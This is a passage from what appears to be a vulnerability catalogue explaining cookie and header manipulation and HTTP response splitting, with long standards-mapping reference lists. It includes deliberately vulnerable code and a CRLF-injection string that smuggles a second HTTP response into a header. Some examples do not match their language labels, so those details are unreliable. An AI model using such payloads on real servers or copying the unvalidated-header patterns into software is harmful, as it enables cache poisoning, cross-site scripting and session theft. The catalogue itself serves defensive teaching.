[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.java.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like cross-site request forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


author = form.author.value;
...
document.cookie = "author=" + author + ";expires="+cookieExpiration;
...


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker can make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.javascript.header_manipulation_cookies
Abstract
Including unvalidated data in Cookies can lead to HTTP Response header manipulation and enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Cookie Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP cookie sent to a web user without being validated.

As with many software security vulnerabilities, cookie manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP cookie.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Being an HTTP Response header, Cookie manipulation attacks can also lead to other types of attacks like:

HTTP Response Splitting:
One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. For example, recent versions of Apache Tomcat will throw an IllegalArgumentException if you attempt to set a header with prohibited characters. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.


<?php
$author = $_GET['AUTHOR_PARAM'];
...
header("author: $author");
?>


Assuming a string consisting of standard alphanumeric characters, such as "Jane Smith", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


However, because the value of the cookie is formed of unvalidated user input the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as "Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide specially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.php.header_manipulation_cookies
Abstract
Including unvalidated data in an HTTP response header can enable cache-poisoning, cross-site scripting, cross-user defacement, page hijacking, cookie manipulation or open redirect.
Explanation
Header Manipulation vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently an HTTP request.

2. The data is included in an HTTP response header sent to a web user without being validated.

As with many software security vulnerabilities, Header Manipulation is a means to an end, not an end in itself. At its root, the vulnerability is straightforward: an attacker passes malicious data to a vulnerable application, and the application includes the data in an HTTP response header.

One of the most common Header Manipulation attacks is HTTP Response Splitting. To mount a successful HTTP Response Splitting exploit, the application must allow input that contains CR (carriage return, also given by %0d or \r) and LF (line feed, also given by %0a or \n)characters into the header. These characters not only give attackers control of the remaining headers and body of the response the application intends to send, but also allows them to create additional responses entirely under their control.

Many of today's modern application servers will prevent the injection of malicious characters into HTTP headers. If your application server prevents setting headers with new line characters, then your application is not vulnerable to HTTP Response Splitting. However, solely filtering for new line characters can leave an application vulnerable to Cookie Manipulation or Open Redirects, so care must still be taken when setting HTTP headers with user input.

Example: The following code segment reads the location from an HTTP request and sets it in a the header its location field of an HTTP response.


location = req.field('some_location')
...
response.addHeader("location",location)


Assuming a string consisting of standard alphanumeric characters, such as "index.html", is submitted in the request the HTTP response including this cookie might take the following form:


HTTP/1.1 200 OK
...
location: index.html
...


However, because the value of the location is formed of unvalidated user input the response will only maintain this form if the value submitted for some_location does not contain any CR and LF characters. If an attacker submits a malicious string, such as "index.html\r\nHTTP/1.1 200 OK\r\n...", then the HTTP response would be split into two responses of the following form:


HTTP/1.1 200 OK
...
location: index.html

HTTP/1.1 200 OK
...


Clearly, the second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability of attacker to construct arbitrary HTTP responses permits a variety of resulting attacks, including: cross-user defacement, web and browser cache poisoning, cross-site scripting, and page hijacking.

Cross-User Defacement: An attacker will be able to make a single request to a vulnerable server that will cause the server to create two responses, the second of which may be misinterpreted as a response to a different request, possibly one made by another user sharing the same TCP connection with the server. This can be accomplished by convincing the user to submit the malicious request themselves, or remotely in situations where the attacker and the user share a common TCP connection to the server, such as a shared proxy server. In the best case, an attacker may leverage this ability to convince users that the application has been hacked, causing users to lose confidence in the security of the application. In the worst case, an attacker may provide especially crafted content designed to mimic the behavior of the application but redirect private information, such as account numbers and passwords, back to the attacker.

Cache Poisoning: The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected.

Cross-Site Scripting: Once attackers have control of the responses sent by an application, they have a choice of a variety of malicious content to provide users. Cross-site scripting is common form of attack where malicious JavaScript or other code included in a response is executed in the user's browser. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site. The most common and dangerous attack vector against users of a vulnerable application uses JavaScript to transmit session and authentication information back to the attacker who can then take complete control of the victim's account.

Page Hijacking: In addition to using a vulnerable application to send malicious content to a user, the same root vulnerability can also be leveraged to redirect sensitive content generated by the server and intended for the user to the attacker instead. By submitting a request that results in two responses, the intended response from the server and the response generated by the attacker, an attacker may cause an intermediate node, such as a shared proxy server, to misdirect a response generated by the server for the user to the attacker. Because the request made by the attacker generates two responses, the first is interpreted as a response to the attacker's request, while the second remains in limbo. When the user makes a legitimate request through the same TCP connection, the attacker's request is already waiting and is interpreted as a response to the victim's request. The attacker then sends a second request to the server, to which the proxy server responds with the server generated request intended for the victim, thereby compromising any sensitive information in the headers or body of the response intended for the victim.

Cookie Manipulation: When combined with attacks like Cross-Site Request Forgery, attackers may change, add to, or even overwrite a legitimate user's cookies.

Open Redirect: Allowing unvalidated input to control the URL used in a redirect can aid phishing attacks.
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.1 - Web Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
